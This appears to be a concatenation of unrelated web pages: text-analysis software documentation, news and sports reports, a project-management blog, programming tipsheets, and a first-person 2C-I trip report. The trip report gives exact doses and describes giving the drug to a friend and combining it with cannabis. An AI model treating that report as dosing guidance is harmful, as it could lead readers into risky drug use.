The Statistics Tool
The Lexos Statistics tool provides a basic overview of statistical content
in your collection as an addition to the specific term counts/proportions
available in the Document-Term Matrix (DTM) provided in
Tokenizer.
Options
- Generate
The Statistics tool generates data based on all active documents. If you
wish to only analyze specific documents, visit the Manage
page. If you make changes to any of the following options, be sure to click
the "Generate" button again to see your changes reflected in the results.
- Tokenize
By default Lexos tokenizes by tokens, meaning it splits strings of text
into tokens every time it encounters a space character. For Western languages,
this means that each token generally corresponds to a word. To tokenize
by multiple words, you can increase the n-gram size.
For example given the text: "the dog ran" tokenizing by 1-gram tokens
would produce tokens "the", "dog", "ran". Tokenizing by 2-grams would
count the instances of bi-grams or pairs of words, thus producing tokens
"the dog", "dog ran", and so on.
If you wish to tokenize by characters, Lexos will treat every character
(letters, whitespace, punctuation, etc.) as a separate token. Tokenizing
by 2-gram characters would produce tokens "th","he","e ", and so on.
Tokenizing by characters is best used for non-western languages that don't
have whitespace between tokens such as classical Chinese.
- Cull
"Culling" is a generic term we use for methods of decreasing the number
of terms used to generate the DTM based on statistical criteria (as
opposed to something like applying a stop-word list in Scrubber). Culling
is optional to use in Lexos. Lexos offers two different methods:
"Use the top ___ words": This method takes a slice of the DTM
containing only the top N most frequently occurring terms in the
set of active documents. The default setting is 100, meaning
Tokenizer will generate the DTM using only the top 100 most
frequent terms.
"Must be in ___ documents": This method build the DTM using only
terms that occur in at least N documents. The default setting is
1. If you have 10 active documents and you want to generate the
DTM using only terms that appear in all your active documents,
set the value to 10. Note: You can quickly determine
the number of active documents in your workspace as indicated by
the counter in the bottom right corner.
Results
- Document Sizes
Lexos first shows a box plot visualization that highlights potential
outliers of document size in the collection of active documents.
- Plotly Menu
If you pan over the box plot, you'll notice that a menu appears in the top
right corner.
- Zoom: This option allows you to click and drag to zoom in to a
specific part of the graph.
- Pan: This option will change the click and drag function to
panning across the graph.
- Zoom in and Zoom out: These will automatically zoom to the center
of the graph.
- Auto-scale and Reset Axis: These options will zoom all the way out
with the axis reset to fit the window
- Toggle spike lines: This option allows you to hover your mouse
over data points and see where they are aligned on the x-axis and
y-axis
- Show closest data on hover: If you hover over a data point,
this option will show you the value of the data point (the average
or ratio at that point in the window).
- Compare data on hover: If you hover over a data point, this
option will show you the value of the data point and it's corresponding
x-axis value (the location of the term in the token sequence
(starting from 0), along with the average or ratio at that point in the window).
- Document Statistics
Statistics generates a table containing the file name, the total term count,
number of distinct terms, the vocabulary density (the distinct terms/the
total terms), and the number of terms occurring once (hapax legomena) for
each document (row). You may generate statistics on all of your active
files or you may select a subset of your active documents by using the
Manage page.
To sort the table, click on a column header, and either "Ascending" or
"Descending" at the top next to "Order". These results will display
immediately, thus clicking "Generate" is not necessary to reflect these
changes.
- Corpus Statistics
Lexos calculates the average, median, standard deviation, and interquartile
range (IQR) of your documents' sizes (based on term counts). This
information is used to determine if any of the document sizes are anomalously
large or small, that is if any of your document sizes are outliers.
- Standard Error Test
If a value is a certain number of standard deviations away from the mean,
that data point is identified as an outlier. Thus using the standard
error test, Lexos provides a anomaly warning for any document
with a size that is particularly large or small compared to the rest of
your corpus.
- Inquartile Range Test
Using the calculated IQR, Lexos provides a anomaly warning for any document
with a size that is particularly large or small compared to the rest of
your corpus. Outliers are those document sizes that fall below Q1 - 1.5(IQR)
or above Q3 + 1.5(IQR).
You should consider removing outlier documents from subsequent
analyses and/or consider additional cutting of some documents to make
term counts more uniform.provides a anomaly warning for any document with
a size that is particularly large or small compared to the rest of your
corpus. You should consider removing outlier documents from subsequent
analyses and/or consider additional cutting of some documents to make
term counts more uniform.
- Download
The Document Sizes box plot is downloadable in either .svg
or
.png
format. SVG images are very useful because they scale
well in web browsers.
To download the Document Statistics as a data file, click the "Download"
button and you will get a results .csv
file. “CSV” is short
for Comma-Separated Values. In your downloaded file, a comma will serve
as the column delimiter and these files can be opened by other programs
later, e.g., Excel.
Examples


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Each site can be on either strand of DNA and upstream or downstream of the other site. This gives four different combinations for any pair of sites. We display each combination separately but the statistics are calculated across all four.
The way to read the plots is to imagine the primary motif placed inbetween the two columns. The histograms on the left represent the secondary sites that are upstream of the primary site and on the right the downstream sites are represented. The top histograms represent the sites that are on the same strand, the bottom histograms represent the sites that are on the other strand.
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This 2C-I trip blew me away. I had taken 2C-I before, but not from this vendor and I weighed doses by titration.
This time around, my vendor is much more reliable and I have an mg accurate scale (to within 3mg.)
T+00:00 - Two capsules were filled with 10mg each and downed on an empty stomach with water.
T+01:00 - Minor stomach discomfort. Increases exponentially as I pay attention to it. At this time I'm in CVS buying anti-nausea meds (which don't do a thing).
T+01:30 - I take 50mg Meclizine and 1 tablet of Pepto-Bismol. I also put a glass of calcium carbonate (not weighed out) nearby in case I need to vomit.
T+01:45 - It has been 1hr 45mins and I'm just now starting to feel the psychological effects, and they're coming on hard. Very hard. My friend wants methylone, so I weigh some out and head to his place. I have dilated pupils and some very minor visuals but for the most part I just feel severely ill.
T+02:00 - I'm at his house. I give him the m1 (neither of us take m1 today). He asks what's up and I say I'm on 2C-I, and he agrees to take the 1x 20mg capsule I brought him. He gets ready and we go back to my drug den / house.
T+02:10 - We're walking home and I'm trying my hardest to keep nausea at bay. I'm literally shaking and it becomes unpleasant exponentially to the point where I feel my entire trip is going to be focused on the physical illness I'm feeling. We get home and I try eating and it doesn't help. Note that the 2C-*s always make me severely nauseous.
T+02:20 - I feel my throat building up with mucus and I feel that vomiting will be clean and painless, so I down the calcium carbonate (antacid, so the acidic stomach contents don't damage your throat on the way up) and puke. That's it? OK I feel 100x better.
T+03:00 - After that I have been sitting on my bed, with my friend in another room watching something. I have Pandora on—A tripper's best friend. The music is very significant to me, as it always is on 2C-I. I have minor visuals. Some trails, distortions, fish eye lens, lose of perception, patterns on walls, lights strobe, etc. Nothing too major. Up to this point, this mirrors my usual 2C trips.
I hadn't tripped in about 6 months and I began thinking about how I really miss this mindset, and how therapeutic it can be. I was resolving countless internal issues, taking notes, etc.
I notice if I stay in bed in fetal position, my stomach discomfort is gone and I quickly lose touch of reality. I feel very close to 'losing my mind.' Writing it does no justice to the feeling. I began to forget what I was, let alone who I was. Sure I knew where I was and what my name was, and every other fact, but what exactly does that mean?
So I was born, that's odd enough, and I was given a name, and I move around the universe saying things, thinking things, doing things, and there's a consequence to what I do. But why am I doing all this? What's the point of it all? I began to 'see' air molecules and realized that there's no such thing as empty space (it's not a new realization, but it felt significant.)
 If you read 'As A Man Thinketh' - I felt like it was obvious that how I perceived reality had a major impact on how reality became, not just for me but for everyone.  People will see it radiate through you.
I looked into a mirror and noticed that the human face is incapable of expressing even 1% of what you feel inside. I looked normal physically, but there was no clue that reality was breaking down into quarks and charms right before my eyes. What are eyes anyway? Creepy how we place so much significance on them. How does my cat know to look into my eyes? Does she know I'm tripping? Nah, probably not. She sits on my face and I can't breathe, so I get up and suddenly I feel 100% sober.
At this point my friend begins feeling it. Nothing major. We both decide to go for a walk to a friend's apartment as being outside eases the stomach discomfort.
T+03:30 - The walk was odd. There wasn't many visuals but my interpretation of what I was seeing (people, cars, etc) was obviously distorted. Not visually, but people took on an exaggerated look. 'Cartoony' is a good description, as it usually happens on shrooms.
All sounds around me were significant. Cars honking from 2 streets down sounded as loud as my headphones, and as loud as the people walking ahead of us. External stimuli was magnified more than I've ever felt them on any other drug including 2C-I at this dose.
We get to the apartment, chill for what felt like an hour (was only 15 minutes), we roll tobacco and head out. As I'm rolling, I realize how BLASTED I am. I can barely hold the paper, and spend 10 minutes just feeling the tobacco wondering why I smoke this knowing how bad it is. I then recall that I was sober a second ago, and now I'm tripping hard.
I'm not surprised. 2C-I and 2C-E affect me in waves. The trip comes in an ebb & flow. It's a bad and good quality these drugs have. I feel sober for 30 mins, and then suddenly I'm tripping, then I feel sober 30 mins later, then I'm tripping hard again. It's good in that when I'm about to lose your mind, I regain control and can make sense of what just happened. It's bad in that, in the times you feel sober you might get into a car and drive - very dangerous.
T+4:00 - We leave. Smoking cigs feels great when tripping. This is no exception, but for some reason I feel the tobacco is lacking something. No major rush or punch or anything. I'm not sure what I was expecting before smoking, but I feel let down. So I smoke another and I'm good.
My friend is feeling it for sure, but he's just starting to come up. He can still maintain a normal conversation.
T+4:20 - By this time my friend is climbing hard and I'm coming down. We meet with a friend to smoke weed. He has very potent stuff, stuff that we generally don't like smoking because it wastes the entire day (20%+ thc, very little cbd.) We get into his car and park while he rolls joints.
My friend is tripping hard and I feel somewhat sober. He's wondering if we're moving or not, 'how did I get into this car?!', etc.
We smoke weed and walk to dunkin donuts. Wow. I'm tripping harder than I was earlier.  I feel like we're in Tibet'
'Are we really talking or just thinking outloud? Is there really a difference? We're all thoughts in each other's heads afterall.'
We laugh uncontrollably as we're walking.
'Give me the darkest chocolate cookies you have' I say. I end up buying 6 cookies. I've never bought cookies in my life.
It feels as though life is happening automagically. My friend and me are still in the store saying ridiculous things and laughing, but nobody seems to pay attention to us. I'm producing money out of my wallet, I'm receiving cookies, the line is moving forward, doors open, people come in, life is happening right before our eyes, and we're a part of it, but it feels automatic. 99% of me is not engaged in life, but the 1% that is, is doing an excellent job of maintaining the image of three guys going about their normal day.
I find it very hard to believe that people we're passing by aren't tripping as well. What is being sober anyway? No such thing..
We head to my house for the remainder of the trip.
T+6:00 - At this point, I begin to wonder why I'm not coming down. Did I overdo it? Am I going to lose my mind permanently? If so, it doesn't seem so bad. Laughing all day doesn't seem like a bad idea right now. But maybe that's exactly how crazy people think.. I began to dwell on an infinite duality. The same duality I get stuck in on every trip. I seriously begin to panic that I'm losing my mind, but as soon as I get up and walk towards my friends, I feel normal/sober.
I can definitely see how/why people would 'go crazy' when tripping. It's not easy to handle if you're not with experienced non-judgmental people. Had I been with somebody who said 1-2 wrong things, I might have found myself in the ER.
 He sounded exactly the same as he does sober. Saying the same things, same sense of humor, etc. I began to wonder if the way I perceived reality was purely in my head, and it was. I also began to realize that I spend a lot of time thinking about others and how to help them, and not enough time on myself.
I go join them for a bit. We eat a little, talk, etc. He's dumbfounded at how I can maintain my composure and speak.. he doesn't realize that he's actually acting normal as well.
T+whatever - by 9 PM, about 6 hours after I began coming up, I noticed I was still tripping hard. This coupled with the fear of losing my mind idea gave me a surge of anxiety which made me feel numb. Tingling/pins+needles on my extremities.
By 11 PM we were both coming down. He leaves and I go to bed. I woke up feeling numb but a few hours later that subsided.
2C-I is quite amazing. I have a lot more respect for it after this trip. I enjoy it far more than 2C-E which I find too dreamy and 'out there' to be very therapeutic. The body load on 2C-E is also a major buzzkill.
While 20mg seems like a good dose (could have been anywhere from 18-22 mg) I am going to try 16-18 mg next time. 15 mg was my prior normal dose, but it wasn't trippy enough to justify the nausea.
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Apple CEO Tim Cook vows to fight for DACA until his 'toes point up'
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- Apple CEO Tim Cook was interviewed by ABC News.
- The interview covered Cook's feelings on DACA.
- Cook says he focuses on policy rather than politics.
Apple CEO Tim Cook was interviewed by ABC News (via MacRumors) earlier this week and while the initial interview was already public, further information has now been shared. During the interview Cook said that he focuses on policy, rather than politics.
In particular, Cook spoke about the Deferred Action for Childhood Arrivals (DACA) program that has been a hot button topic recently. Cook signed an amicus brief on the subject back in October, urging the Supreme Court to uphold DACA despite the current US administration atempting to rescind it.
"No matter who is in the White House, the things I'm focused on are going to be the same. I am focused on DACA. We have 450 folks in Apple, employed at Apple, who are employed on DACA. I want those folks protected. Not just the 450 but the broader DACA people in America."
Cook noted that he believes that people affected by the potential removal of DACA are part of America, saying they are "what an American is."
"I will fight until my toes point up on the subject because I think that it is so core to who we are as a people that we not turn our back on people that came into the country as kids, they were brought here well before they could make a decision on their own.
During the extended interview Cook also spoke about privacy and Apple's intent to work without trying to "vacuum up all your data" as its competitors are so keen to do. Cook and Apple have previously made no bones about the fact that they want to go about their services business in a very different way to companies like Google.


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Causes of the Pakistan Earthquake & New Island Revealed
Little Known Risk
The unexplained island may have focused unusual global attention on the earthquake, which hit in a region that frequently experiences devastating temblors. [Video: Island Appears After Pakistan Earthquake] But despite the hazards faced by millions living near the Chaman Fault, a combination of geography and politics means the seismic zone remains little studied. The Taliban killed 10 climbers, including an American, in northern Pakistan in June. "Its location is in an area that is very difficult to do any traditional field work," Khan told LiveScience's OurAmazingPlanet. "I tried twice to submit proposals to [the National Science Foundation] and I got excellent reviews, but the review panel said I was risking my life to work in that area." But the National Academy of Sciences felt differently. With their support, Khan and his colleagues in Pakistan and at the University of Cincinnati are now studying the fault's current and past movement. This will help the researchers forecast future earthquake risk. "This fault has had very little work and no paleoseismology," Khan said. "It is really important."
Complex Collision Zone
Pakistan's deadly earthquakes owe their birth to the juncture of three colliding tectonic plates: Indian, Eurasian and Arabian. The Indian and Eurasian plates grind past each other along the Chaman Fault, triggering destructive temblors. Earthquakes along the Chaman Fault are more frequent in the north than in the south, Khan said. Similar to California's San Andreas Fault or Turkey's East Anatolian Fault, in some spots, the massive plate boundary is not a single fracture. In southern Pakistan, the Chaman Fault splits into more than one strand, weaving a braid of many smaller faults. The differences between north and south influence the number of earthquakes. In the past 40 years, only one quake bigger than magnitude 6.0 has jiggled southern Pakistan within 125 miles (200 km) of yesterday's shaker, according to the Incorporated Research Institutions for Seismology in Seattle. [High & Dry: Himalayas and the Tibetan Plateau] Altogether, the strike-slip Chaman Fault spans more than 500 miles (860 kilometers), crossing through Afghanistan and Pakistan. Strike-slip faults move each side of the fracture mostly parallel to each other. In the north, near the town of Chaman where India jabs a knuckle into Pakistan, the fault has zipped along at 33 millimeters (1.3 inches) every year for the past 38,000 years, according to a study Khan's team published Sept. 12 in the journal Tectonophysics. "That is very fast," Khan said. "That tells me there were multiple major earthquakes in the last 38,000 years."
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The ongoing tectonic crash in Pakistan also helps create the mud volcanoes that pop up after earthquakes there. "Whenever there is a major earthquake there are mud volcanoes," Khan said. The spectacular mountains and roaring rivers of the Pamirs and the Himalayas deliver huge piles of wet silt and mud to the Arabian Sea. Jiggling these wet, gassy layers triggers an eruption of trapped water, Manga said. Think of liquefaction — when saturated soil loses its strength — but on a titanic scale. The gray, dome-shaped mass offshore of Gwadar is 60 feet (18 meters) high, 100 feet (30 m) long and 250 feet (76 m) wide, a geologist with the Pakistan Navy told Geo News. Stones on top of the pile suggest the muck roared out of the sea fast enough to carry solid rock. "Given the size, it must have erupted pretty quickly," Manga said. Mud volcanoes in the northern Apennine Mountains in Italy have tossed rocks up to a meter (3 feet) in size, he said. Manga calculated the mud must have erupted at several meters per second (a few miles per hour) to throw the rocks. There are about 1,000 mud volcanoesworldwide, and the ones that erupt at sea are ephemeral, soon disappearing under the waves. In 2001, a magnitude-7.7 earthquake in India birthed a short-lived mud volcano 300 miles (480 km) away. And at least five mud volcanoes surfaced in the Arabian Sea in 1945 after a massive magnitude-8.1 shock on the Makran subduction zone offshore of Pakistan, including one near Gwadar.


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This my answer to a blog post by Jan Lehnardt from couch.io
Hi Jan,
kind of funny that you are asking for ideas how to do project management in small teams. We at NMMN were growing from two (Thomas and me) to six people working on our resource management system eUNIQUE. The same question raised and it was me to push this topic in a (hopefully) good direction.
I don’t know much about SCRUM or the principles of agile development in depth but as far as I am concerned, these methods are good. The question is, when are they good or when are they over sized? But an even more important question is, will one be able to start with project management techniques like SCRUM from the very first beginning. In my opinion, a new team or company has to learn the simplest things first and then grow to “bigger” solutions … like SCRUM.
What is the homework to be done? First of all it has to be clear what kind of project you have. Let’s say it’s a software development project. The questions are:
# who is in the team?
# who is the team (project) leader?
# who is responsible for the customer communication?
# who is writing the technical specification of the software (in german: Pflichtenheft)?
# who is testing?
and so on …
These are some common questions for a project. But before that, you have to work out and write down (kind of a “project management company policy”) how you will manage all projects you start. Some questions there are the following (in no order):
# which version control system will be used?
# where are the repositories placed (network)?
# how is the documentation done and where is it placed (network)?
# how are the tests done and where are the results placed (network)?
# where are all the project documents placed and how is the (folder)structure for each project?
and so on …
A very important topic what has to be discussed is furthermore the internal communication. How often are meetings held and where are the results placed (very important: a meeting without a result or without a written report never took place)? What is the rule when communicating with customers (who has to be set to the CC: list and so on)?
As you can see, there are a lot of questions in principle. In my opinion these (and more) fundamental questions have to be answered when starting a business and managing projects in teams at the beginning.
These short summary or experience is a collection of things we were (and are still) faced when starting different projects in our growing team. The main problem is to set the “rules” or “contracts” up so that everybody is accepting them. If there is just one person in the team who is kind of “against it”, the house is collapsing.
And in this concern a real important thing is the need of always following the set up rules. On one hand everybody is used to work in this way and on the other hand, you will save a lot of time when searching for project related documents and so on. The result is a transparent working environment for every project member, for every employee and for the customer.
The last thing I want to write here is the fact, that imho the communication with the customer is one of the hardest tasks and should be handled with the biggest care possible. Usually the customer is not speaking techtalk but likes to sound like he is. It is really important to write everything down (as short as possible but as detailed as needed). After some work has been done (parts or the whole software), let the customer test, get feedback, correct stuff, let the customer test again and ask for an ACK (written!). I call this “feedback loop” and I am assured that this is the best way to save stress, money and unsatisfied customers.
Allready five years ago I was reading a small book by Pascal Mangold called "IT Projekt Management kompakt". Imho this is an awesome small book with extremely good advices how to get your projects done. He is also a fan of eXtreme Programming and agile project management techniques but has also some critical words to say about these techniques. I really recommend reading his book.
Conclusion
Doing good project management is not a hard task imho. There are some approved and well known rules of thumb you should follow to create a successful working and project management environment. Important is to start creating this environment at all, learn out of the experience you’re making and adapt them to correct your rules or policies. Using techniques like SCRUM, waterfall project management, agile development or others is cool but requires to understand them in depth and “live” them each time exclusively. If these techniques are adequate for your company or team is a question you have to answer by yourself honestly …
So, hopefully you can get some meat for further thinking, ideas or discussions. Any questions out of these lines - go a head and get in touch with me ;-)
Cheers Andy


Performance of Ghanaian players abroad wrap-up: Dauda scores first goal of the season as Kudus, Tetteh and Bukari on target for respective clubs
Ghana’s leading football website GHANAsoccernet.com will bring to you how Ghanaian players abroad performed in their respective leagues across the globe every week
European football specialist Herbert Boakye Yiadom brings to you a comprehensive report on how Ghanaian players performed abroad over the weekend.
Dauda Mohammed scored his first goal for Esbjerg in their 2-1 win over Silkeborg on Sunday.
Kudus Mohammed scored his sixth goal of the season for Nordsjaelland as they won 3-0 against Randers FC.
Samuel Tetteh climbed off the bench to score for Lask Linz in their 2-0 win over Tirol
Osman Bukari scored for Trencin as they defeated Trnava by a lone goal
Herbert Boakye Yiadom gives you a lowdown on how the players fared in abroad...
ENGLAND
Jordan Ayew and Jeffrey Schlupp featured for Crystal Palace as they lost to Liverpool 2-1.
Daniel Amartey was not included in Leicester City squad against Brighton
Kelvin Danso missed Southampton’s game against Arsenal which ended 2-2
In the Championship, Andre Ayew lasted the entire duration for Swansea City as they lost by a lone goal to Millwall
Andy Yiadom played the full throttle for Reading in their 1-0 defeat to Brentford
Albert Adomah was introduced into the game in the 61st minute for Nottingham Forest as they drew against Bristol City
In the League One, Kwesi Appiah saw 33 minutes of action for AFC Wimbledon in their 1-0 win over Gillingham
SPAIN
Thomas Partey missed Atletico Madrid’s game against Granada
Baba Iddrisu featured for Mallorca in their 2-1 defeat to Levante.
Baba Rahman and Lumor missed the game due to injury
Mubarak Wakaso played the entire duration for Alaves in their 2-0 win over Eibar
Joseph Aidoo played the entire duration for Celta Vigo in their 3-1 win over Villareal
France
In the Ligue 1, John Boye lasted 90 minutes for FC Metz as they drew with Reims
Enock Kwarteng played 90 minutes for Bordeaux in their 2-1 win over Monaco
In the Ligue 2, Rabiu Mohammed missed Paris FC game against Auxerre
Lawrence Ati-Zigi warmed the bench for Sochaux as they lost heavily to Lens 4-0
Abdul Samed Salis saw 10 minutes of action for Clermont’s game against Ajaccio
ITALY
In the Serie A, Kwadwo Asamoah missed Inter Milan’s game against Torino
Alfred Duncan played the entire duration for Sassuolo as they lost to Lazio by 2-1
Nicholas Opoku saw 77 minutes of action for Udinese in their 2-1 defeat to Sampdoria
Kevin-Prince Boateng was unused substitute for Fiorentina as they lost to Verona by a lone goal
In the Serie B, Bright Addae was not included in the match day squad of Juve Stabia against Salernitana.
Moses Odjer was unused substitute in the game for Salernitana
Bright Gyamfi played the entire duration while Abdallah Basit were on the bench for Benevento in their 2-0 win over Crotone.
GERMANY
Christopher Antwi-Adjei saw 29 minutes of action for Paderborn as they drew 3-3 against Dortmund
Nuhu Kasim played the entire duration for Dusseldorf as they lost to Bayern Munich 4-0. Opoku Ampomah and Bernard Tekpetey were unused substitutes in the game
In the Bundesliga II, David Atanga missed Holstein Kiel game against Wehen
AUSTRIA
Samuel Tetteh came off the bench to score for Lask Linz in their 2-0 win over Tirol
Flex Adjei played 90 minutes for Tirol
Majeed Ashimeru played 59 minutes for Salzburg in their 2-2 draw against St. Polten
Seth Paintsil warmed the bench for Admira as they drew against Austria Vienna
Isaac Donkor played the entire duration for Stum Graz in their 1-1 draw against Rapid Vienna
BELGIUM
Nana Asare was unused substitute for Gent in their game against Antwerp.
Daniel Opare missed the game for Antwerp due to injury
Eric Ocansey lasted 90 minutes for Kortrijk as they drew against Anderlecht.
Samuel Asamoah lasted 90 minutes for St.Truiden as they lost to Charleroi
Thomas Agyepong missed the game for Waasland-Beveren in their 1-1 draw against Cercle Brugge.
Godfred Donsah played the entire duration for Cercle Brugge
Gideon Mensah played 90 minutes for Waregem in their 2-0 win over Mechelen
Jonathan Osabutey lasted 45 minutes for Mouscron as they drew 2-2 against Genk. Joseph Paintsil saw 79 minutes for Genk
In the Proximus League, Kamal Sowah played 85 minutes for Leuven in their 2-1 win over Westerlo
Ahmed Said saw 74 minutes of action in Lokeren 1-1 draw against Beerschot
BULGARIA
Samuel Inkoom warmed the bench in Dunav Ruse game against Beroe
CROATIA
Obeng Regan made a brief appearance for Istra 1961 in their 1-0 defeat to Osijek
Acost Boadu Maxwell saw 27 minutes of action for Rijeka in their 4-1 win over Zapresic
CZECH REPUBLIC
Benjamin Tetteh came off the bench to score for Sparta Prague in their 3-3 draw against Ceske Budejovice
DENMARK
Mohammed Kudus scored for Nordsjaelland as they thrashed Randers 3-0. Ibrahim Sadiq, Abdul Mumin, Christopher Antwi featured for Nordsjaelland in the game
Dauda Mohammed scored the winner for Esbjerg in their 2-1 win over Silkeborg
HUNGARY
Abraham Frimpong played 90 minutes for Ferencvaros in their 3-2 win over Zalaegerszegi
SERBIA
Ibrahim Tanko and Zakaria Suraka featured for Mladost as they lost at home by 3-0 to Backa Topola
Richmond Boakye-Yiadom missed Red Star Belgrade game against Radnicki
SLOVAKIA
Osman Bukari scored for Trencin in their 1-0 win over Trnava.
Mohammed Lamine came on a substitute for Trencin
Edmund Addo featured for Senica in their 2-2 draw against Ruzomberok
Emmanuel Mensah missed Michalovce game against Dun Streda
TURKEY
Joseph Attamah played 90 minutes for Rizespor as they lost 2-0 to Denizlispor
Caleb Ekuban missed Trabzonspor game against Ankaragucu
Bernard Mensah missed Kayserispor’s game against Sivasspor.
Isaac Cofie was unused substitute in the game for Sivasspor
Afriyie Acquah played 90 minutes for Yeni Malatyaspor as they drew blank against Fenerbache


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11 CIL Limitations
There are several implementation details of CIL that might make it unusable
or less than ideal for certain tasks:
-
CIL operates after preprocessing. If you need to see comments, for
example, you cannot use CIL. But you can use attributes and pragmas instead.
And there is some support to help you patch the include files before they are
seen by the preprocessor. For example, this is how we turn some
#defines that we don't like into function calls.
- CIL does transform the code in a non-trivial way. This is done in order
to make most analyses easier. But if you want to see the code e1, e2++
exactly as it appears in the code, then you should not use CIL.
- CIL removes all local scopes and moves all variables to function
scope. It also separates a declaration with an initializer into a declaration
plus an assignment. The unfortunate effect of this transformation is that
local variables cannot have the const qualifier.


Zidane says Real 'not looking for revenge' against PSG
by BeSoccerZinedine Zidane said that his Real Madrid side are "not looking to get revenge" when they host Paris Saint-Germain in the Champions League on Tuesday after a 3-0 defeat in France earlier in the group stage.
Pressure mounted on Zidane after that loss at the Parc des Princes in September, but the 13-time European champions have since enjoyed an upturn in fortunes and sit behind leaders Barcelona only on goal difference in La Liga.
Real can join PSG in securing a last-16 place with victory at the Santiago Bernabeu, or if Club Brugge fail to win at Galatasaray in the other Group A match.
"We aren't looking to get revenge after what happened earlier in the group," Zidane said on Monday.
"But we want to play a good game of course and maintain our form. It's the kind of game where you can confirm you're on a good run. We want to win because we're at home and we want to play good football. I want to see my side play 90 minutes at their best."
Frenchman Zidane was rebuked by PSG sporting director Leonardo earlier this month for comments about a possible move for his compatriot Kylian Mbappe, when he said the Paris forward's "dream is to play for Real Madrid".
The 47-year-old made clear again his admiration for Mbappe ahead of Tuesday's encounter.
Featured links
- The latest football transfers news and rumours
- Neymar or Mbappé? Zidane choose
- Kante explains why he turned down PSG
- What Cristiano said about Messi to his Man Utd teammates
"You know that I've known Mbappe for a long time and that I'm in love with him as a person because of when he came here on trial a long time ago," said Zidane.
"Having said that, he's our opponent and there's no more to it."
Real have recovered in the Champions League after also being held to a 2-2 home draw by Brugge in their second game, beating Galatasaray home and away including a 6-0 thrashing in Madrid last time out.
Goalkeeper Thibaut Courtois is hoping the Spanish giants can show how far they have come since the loss in Paris.
"The first meeting with them helped us learn a lot -- it wasn't a good game but we've improved a lot lately," said the Belgian.
"It's not revenge, more wanting to get one over on another big team who have aspirations to win the Champions League and we need to show how good we are."
PSG lead Real by five points with two matches remaining and can secure top spot in the group by avoiding defeat.


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If I dont use a new move every day I will probably forget it.
- “bundle exec rake assets:precompile” precompiles your stylesheet
D3.js Tipsheet
local host commands:
python -m SimpleHTTPServer 8888 &
Once this is running, go to http://localhost:8888/.
Git Tipsheet
- git add –all #this will respect deleted files. better than git add .
- git commit -m “Fixes #1. OBE been_there global with use of raise. “. This will auto close github issue tracker Number 1. Commit message must include “Fixes #1”.
- git branch branchname -d #this will delete branches that are no longer useful. do this after a successful merge to master branch.
- git mergetool #run this after a git merge branchname when there are merge conflicts
- git branch -v #view last commit for each branch
- git branch –merged #show which branches are merged to current branch. Merged branches can usually be deleted.
- git branch –no-merged #have not yet been merged. Attempt to delete will fail
Git Branching Remote Branches: for multi-user collaborations with a remote origin
- git fetch origin #this synchronizes work between your git clone and most current merges to master on origin
Git Initial Remote Repository Setup
- git remote add origin https://github.com/username/repository_name.git
- git push -u origin master “-u” remembers the parameters, nest time, just git push
- git pull origin master #pulls down latest.
- git diff HEAD #describes differenes pull vs. local
- git diff –staged describes how stage is new
- git reset name.txt #drops name.txt
- git branch clean_up
- git rm ‘*.txt’ #you can use wildcards to exclude entire filetypes from a git
Heroku Tipsheet categories: tipsheet
- heroku pg:reset DATABASE (on local host, rake db:drop)
- heroku run rails console
| irb(main)> ActiveRecord::Base.connection.tables.each { |
t |
ActiveRecord::Base.connection.reset_pk_sequence!(t) } |
Jeckyll, GitHub Pages, and Markdown
This site is built with Jekyll and lives on GitHub. Jekyll uses Markdown, a text to HTML conversion tool for web writers.
To start Jekyll on the localhost, “jekyll serve”. Even better, “jekyll serve –watch”
Markdown Basics
”===” under a line of text renders HTML “H1”
”—” under a line of test renders HTML “H2”
”>” makes block quotes. This list so far is block quotes.
- ”+”, “*”, and “-“ make unordered lists. They are interchangable.
- “1.” makes an ordered list
- Here is ordered list “2.”
- The syntax to make a link is “[name of link]” immediately folled by “(https://url.com)”.
- The tag to highlight a
folder
is “`”.
- A horizontal rule is “—-“ on a single line.
- Emphasis is done with one or two asteriks.
- Image tags are like this: 5th Grade Basketball
!”[]”(http://usefulwebservice.com/images/b1.jpg)
Mac Tipsheet
- three finger swipe toggles through all full screen applications.
- Cmd / Tab / (Shift)
- shell to open as finder folder “Open .” toggle through open applications.
Pry Tipsheet
Pry
Pry is a REPL (Read Eval Print Loop)
commands in pry shell
show-method pry
invoke pry from command line
ruby -r pry file.rb.
insert into file.rb
binding.pry
access to variables by typing variables
advance to next binding
D
#when writing a script in the command line
show-input
amend-line
edit #opens a browser (currently emacs)
#replay history
hist #use “u” and “d” and vi commands, search with “/“, advance “n"
hist —tail 10
hist —replay 216..224 #reruns the script
hist -n #use to view without numbers. useful for cut paste code
#play files and methods as inputs
load ‘file.rb’
play 5 #executes line 5 of program file.rb
play 5..7 #executes multiple lines
Rails Tipsheet
--------------
1. **generic scaffold command** rails generate scaffold Opportunity opportunity:text agency:string opp_type:string post_date:date response_date:date link:string comments:text like:integer
2. **generic migration command** rails generate migration add_values_to_opportunity type:string priority:integer
3. tail -f log/development.log #shows your rails logs in a console shell
4. has_many, through
rails generate model FaVpr functional_area_id:integer vpr_id:integer
models: fa_vpr.rb has_many :vprs, has_many :functional_areas
vpr.rb has_many :functional_areas, through: :fa_vpr
in the console, call by vpr_functional_area_ids
Rake Tips
---------
1. rake db:reset #combo command means...rake db:drop and db:schema:load or rake db:migrate
2. rake db:rollback STEP=1 #goes back one migration. useful if you are maintaining tables via migration scripts.
Ruby Tipsheet
--------------
#if my_array is nil, create a new array
my_array ||= []
#Blocks, Procs, Lambdas
A block is code you can store in a variable like any other object and run on demand.
A block is like a method that is not associated with any object
*addition = lambda {|a, b| return a + b }*
++Scope++ is the context which its visible to the program.
from [Codeschool](http://www.codecademy.com/courses/ruby-beginner-en-MFiQ6/1/1?curriculum_id=5059f8619189a5000201fbcb).
# $global_var, @@class_var, @instance_var
class Now
$place = "Indiana" #global variable
@@here = {hello: "Hello, fishers"} #class variable
def who(name, occupation)
@name = name
@occupation = occupation
end
def current_user
@name
end
def self.display_here
@@here
end
matt =Now.new("Matt", "Lumberjack")
puts matt.name #call instance var
puts $place #global, access directly
puts Now.display_here #class var belong to the class
++Namespacing++ is the act of keep methods and constants in named spaces.
++::++ This is a scope resolution operator. It states where you are looking for code.
++self++ refers to the current object.
Sublime Tipsheet
----------------


Concepts and Objects¶
Diagram of Megatron Processing¶
Description¶
At its most simple, an API request arrives from a Platform
at an Interpreter
and is converted into an internal
Command
. The Command
is processed by Megatron and then returned via an outgoing Connection
to the same, or
a different platform
.
Concept Definitions¶
- Platform
A messaging app. A
platform
will include correspondingInterpreter
andConnection
APIs.In our case, this is just Slack at the moment.
- Interpreter
The “incoming” API for a platform. Receives messages from the
Platform
